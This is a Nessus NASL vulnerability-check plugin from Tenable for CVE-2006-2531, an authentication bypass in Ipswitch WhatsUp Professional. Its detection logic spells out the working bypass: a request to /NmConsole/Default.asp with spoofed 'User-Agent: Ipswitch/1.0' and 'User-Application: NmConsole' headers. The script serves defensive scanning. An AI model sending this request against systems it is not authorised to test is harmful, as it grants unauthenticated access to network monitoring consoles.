Ipswitch WhatsUp Professional Crafted Header Authentication Bypass

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
 script_id(21572);
 script_version("1.22");

 script_cve_id("CVE-2006-2531");
 script_bugtraq_id(18019);

 script_name(english:"Ipswitch WhatsUp Professional Crafted Header Authentication Bypass");

 script_set_attribute(attribute:"synopsis", value:
"The remote web server is affected by an authentication bypass flaw." );
 script_set_attribute(attribute:"description", value:
"The remote host is running Ipswitch WhatsUp Professional, which is
used to monitor states of applications, services and hosts. 

The version of WhatsUp Professional installed on the remote host
allows an attacker to bypass authentication with a specially crafted
request." );
   # http://web.archive.org/web/20070910185547/http://www.ftusecurity.com/pub/whatsup.public.pdf
 script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?7b129f42" );
 script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/434247/30/0/threaded" );
 script_set_attribute(attribute:"solution", value:
"Upgrade to WhatsUp Professional 2006.01 or later." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"true");
 script_set_attribute(attribute:"plugin_publication_date", value: "2006/05/18");
 script_set_attribute(attribute:"vuln_publication_date", value: "2006/05/17");
 script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe",value:"cpe:/a:ipswitch:whatsup");
script_end_attributes();

 
 script_summary(english:"Checks for Ipswitch WhatsUp Professional Authentication Bypass");
 script_category(ACT_GATHER_INFO);
 script_copyright(english:"This script is Copyright (C) 2006-2021 Tenable Network Security, Inc.");
 script_family(english:"CGI abuses");
 script_dependencie("http_version.nasl");
 script_require_ports("Services/www", 8022);
 exit(0);
}



include("http_func.inc");
include("http_keepalive.inc");
include("global_settings.inc");


port = get_http_port(default:8022, embedded:TRUE);
if (!get_port_state(port)) exit(0);


banner = get_http_banner(port:port);
if ("Server: Ipswitch" >!< banner) exit(0);


# Send a request and make sure we're required to login.
host = get_host_name();
req = string(
  'GET /NmConsole/Default.asp?bIsJavaScriptDisabled=false HTTP/1.1\r\n',
  'Host: ', host, '\r\n',
  'User-Agent: ', get_kb_item("global_settings/http_user_agent"), '\r\n',
  'Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*.*;q=0.5\r\n',
  'Accept-Language: en-us,en;q=0.5\r\n',
  'Accept-Encoding: gzip,deflate\r\n',
  'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n',
  'Referer: http://', host, '/\r\n',
  '\r\n'
);
res = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);
if(res == NULL)exit(0);


# If so...
if ("Location: /NmConsole/Login.asp" >< res)
{
  req = string(
    'GET /NmConsole/Default.asp?bIsJavaScriptDisabled=false HTTP/1.1\r\n',
    'Host: ', host, '\r\n',
    'User-Agent: Ipswitch/1.0\r\n',
    'User-Application: NmConsole\r\n',
    'Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*.*;q=0.5\r\n',
    'Accept-Language: en-us,en;q=0.5\r\n',
    'Accept-Encoding: gzip,deflate\r\n',
    'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n',
    'Referer: http://', host, '/\r\n',
    '\r\n'
  );
  res = http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE);
  if(res == NULL)exit(0);

  # There's a problem if we're now authenticated.
  if ("<title>Group Device List for" >< res) security_hole(port);
}